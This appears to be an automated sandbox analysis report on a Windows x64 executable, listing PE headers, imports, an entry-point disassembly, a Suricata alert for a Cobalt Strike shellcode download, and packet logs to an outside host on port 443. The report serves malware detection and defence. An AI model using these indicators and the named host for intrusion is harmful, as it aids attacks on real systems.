TLSH:	01953B0BBCE118B5C0AED232897662927A71BC450F3263DB2F50B77C2F72AD45A76744
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................."..........n................@...............................!...........`... ............................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x46ec80
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	d42595b695fc008ef2c56aabd8efd68e

Entrypoint Preview

Instruction
jmp 00007FD0CD5426F0h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
dec eax
mov ebp, esp
pushfd
cld
dec eax
sub esp, 000000E0h
dec eax
mov dword ptr [esp], edi
dec eax
mov dword ptr [esp+08h], esi
dec eax
mov dword ptr [esp+10h], ebp
dec eax
mov dword ptr [esp+18h], ebx
dec esp
mov dword ptr [esp+20h], esp
dec esp
mov dword ptr [esp+28h], ebp
dec esp
mov dword ptr [esp+30h], esi
dec esp
mov dword ptr [esp+38h], edi
movups dqword ptr [esp+40h], xmm6
movups dqword ptr [esp+50h], xmm7
inc esp
movups dqword ptr [esp+60h], xmm0
inc esp
movups dqword ptr [esp+70h], xmm1
inc esp
movups dqword ptr [esp+00000080h], xmm2
inc esp
movups dqword ptr [esp+00000090h], xmm3
inc esp
movups dqword ptr [esp+000000A0h], xmm4
inc esp
movups dqword ptr [esp+000000B0h], xmm5
inc esp
movups dqword ptr [esp+000000C0h], xmm6
inc esp
movups dqword ptr [esp+000000D0h], xmm7
inc ebp
xorps xmm7, xmm7
dec ebp
xor esi, esi
dec eax
mov eax, dword ptr [00198812h]
dec eax
mov eax, dword ptr [eax]
dec eax
cmp eax, 00000000h
je 00007FD0CD545F95h
dec esp
mov esi, dword ptr [eax]
dec eax
sub esp, 10h
dec eax
mov eax, ecx
dec eax
mov ebx, edx
call 00007FD0CD55056Bh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x212000	0x53e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x20b000	0x5370	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x213000	0x4990	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1ab1a0	0x178	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xbbcb8	0xbbe00	e7d60129377852187236244c3f880285	False	0.4748549775449102	data	6.251977880125657	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xbd000	0xed6a0	0xed800	10d065b3a6b614fb405d521a8a30089d	False	0.4050513980263158	data	5.484111222156124	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1ab000	0x5fe40	0x16e00	4f021a98245b4bf98d676648b223149a	False	0.2855618169398907	data	3.2110066324123667	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x20b000	0x5370	0x5400	0dce5e36ed90ca88a4bff08a69af1384	False	0.4015997023809524	data	5.258570352819142	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.xdata	0x211000	0xb4	0x200	d5a432b15ea1de5871ba1b040f244088	False	0.228515625	shared library	1.787112262798912	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.idata	0x212000	0x53e	0x600	96e26b3ce7ba25930d29218fe68ebcf5	False	0.3776041666666667	OpenPGP Public Key	3.9889887498678602	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x213000	0x4990	0x4a00	9f7253099875852e30a6fe7e043cab2d	False	0.31228885135135137	data	5.40367436259351	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.symtab	0x218000	0x4	0x200	07b5472d347d42780469fb2654b7fc54	False	0.02734375	data	0.020393135236084953	IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

kernel32.dll

WriteFile, WriteConsoleW, WerSetFlags, WerGetFlags, WaitForMultipleObjects, WaitForSingleObject, VirtualQuery, VirtualFree, VirtualAlloc, TlsAlloc, SwitchToThread, SuspendThread, SetWaitableTimer, SetProcessPriorityBoost, SetEvent, SetErrorMode, SetConsoleCtrlHandler, RtlVirtualUnwind, RtlLookupFunctionEntry, ResumeThread, RaiseFailFastException, PostQueuedCompletionStatus, LoadLibraryW, LoadLibraryExW, SetThreadContext, GetThreadContext, GetSystemInfo, GetSystemDirectoryA, GetStdHandle, GetQueuedCompletionStatusEx, GetProcessAffinityMask, GetProcAddress, GetErrorMode, GetEnvironmentStringsW, GetCurrentThreadId, GetConsoleMode, FreeEnvironmentStringsW, ExitProcess, DuplicateHandle, CreateWaitableTimerExW, CreateThread, CreateIoCompletionPort, CreateEventA, CloseHandle, AddVectoredExceptionHandler, AddVectoredContinueHandler

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T15:13:14.502672+0100	2035442	ET MALWARE Successful Cobalt Strike Shellcode Download (x64) M1	1	188.114.96.3	443	192.168.2.6	49713	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 15:13:13.299413919 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:13.299457073 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:13.299536943 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:13.329090118 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:13.329109907 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:13.888150930 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:13.888237000 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:13.947403908 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:13.947442055 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:13.948491096 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:13.948575020 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:13.950995922 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:13.991342068 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.358302116 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.358350992 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.358366966 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.358385086 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.358391047 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.358396053 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.358434916 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.358449936 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.358501911 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.358508110 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.358549118 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.410855055 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.410926104 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.410968065 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.411011934 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.411055088 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.411101103 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.411150932 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.411199093 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.411237001 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.411290884 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.411361933 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.411407948 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.411453009 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.411494017 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.449151993 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.449250937 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.449270964 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.449322939 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.449361086 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.449413061 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.449445963 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.449495077 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.449531078 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.449572086 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.449651957 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.449696064 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.449734926 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.449783087 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.449821949 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.449868917 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.449903965 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.449951887 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.450417995 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.450468063 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.450500011 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.450544119 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.501864910 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.501948118 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.501991034 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.502038002 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.502083063 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.502131939 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.502168894 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.502217054 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.502258062 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.502301931 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.502340078 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.502382040 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.502425909 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.502471924 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.502547979 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.502593040 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.502634048 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.502671957 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.502717972 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.502758026 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.502800941 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.502847910 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.502883911 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.502932072 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.539956093 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.540020943 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.540025949 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.540040970 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.540064096 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.540100098 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.540110111 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.540122032 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.540133953 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.540163994 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.540287018 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.540334940 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.540478945 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.540530920 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.541178942 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.541240931 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.541292906 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.541347027 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.542056084 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.542128086 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.542146921 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.542188883 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.542946100 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.542992115 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.592792034 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.592897892 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.592917919 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.592974901 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.593228102 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.593333960 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.593368053 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.593377113 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.593405962 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.593446970 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.594104052 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.594161034 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.594206095 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.594269991 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.594300985 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.594353914 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.630912066 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.630983114 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.630992889 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.631012917 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.631045103 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.631068945 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.631416082 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.631443024 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.631479025 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.631493092 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.631505013 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.631541967 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.631551027 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.631556034 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.631612062 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.632049084 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.632107019 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.632278919 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.632329941 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.633009911 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.633040905 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.633064032 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.633074045 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.633079052 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.633099079 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.633105040 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.633120060 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.633697987 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.633754015 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.633755922 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.633765936 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.633852959 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.633876085 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.633938074 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.683814049 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.683902025 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.683945894 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.684001923 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.684027910 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.684077024 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.684284925 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.684353113 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.684365034 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.684416056 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.684464931 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.684520006 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.685218096 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.685281992 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.685296059 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.685349941 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.685771942 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.685830116 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.685873985 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.685925007 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.685980082 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.686029911 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.686840057 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.686893940 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.686927080 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.686976910 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.687000036 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.687056065 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.722088099 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.722109079 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.722148895 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.722187996 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.722210884 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.722249031 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.722249985 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.722865105 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.722881079 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.722953081 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.722960949 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.723010063 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.723364115 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.723421097 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.723428011 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.723448038 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.723473072 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.723491907 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.727511883 CET	49713	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.727526903 CET	443	49713	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.735187054 CET	49714	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.735232115 CET	443	49714	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:14.735306978 CET	49714	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.735779047 CET	49714	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:14.735791922 CET	443	49714	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:15.193612099 CET	443	49714	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:15.193841934 CET	49714	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:15.194401026 CET	49714	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:15.194410086 CET	443	49714	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:15.195875883 CET	49714	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:15.195880890 CET	443	49714	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:16.187237024 CET	443	49714	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:16.187293053 CET	49714	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:16.187302113 CET	443	49714	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:16.187323093 CET	443	49714	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:16.187340975 CET	49714	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:16.187362909 CET	49714	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:16.193406105 CET	49714	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:16.193413019 CET	443	49714	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:16.372947931 CET	49721	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:16.372982025 CET	443	49721	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:16.373074055 CET	49721	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:16.373756886 CET	49721	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:16.373769999 CET	443	49721	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:16.844662905 CET	443	49721	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:16.844783068 CET	49721	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:16.845215082 CET	49721	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:16.845223904 CET	443	49721	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:16.846513033 CET	49721	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:16.846518040 CET	443	49721	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:17.275468111 CET	443	49721	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:17.275551081 CET	443	49721	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:17.275603056 CET	49721	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:17.275625944 CET	49721	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:17.276040077 CET	49721	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:17.276057005 CET	443	49721	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:17.399188042 CET	49727	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:17.399260044 CET	443	49727	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:17.399337053 CET	49727	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:17.400043011 CET	49727	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:17.400068045 CET	443	49727	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:17.889662027 CET	443	49727	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:17.889780998 CET	49727	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:17.890259027 CET	49727	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:17.890269995 CET	443	49727	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:17.891542912 CET	49727	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:17.891547918 CET	443	49727	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:18.334821939 CET	443	49727	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:18.334896088 CET	443	49727	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:18.334909916 CET	49727	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:18.334940910 CET	49727	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:18.335066080 CET	49727	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:18.335082054 CET	443	49727	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:18.335093975 CET	49727	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:18.335128069 CET	49727	443	192.168.2.6	188.114.96.3
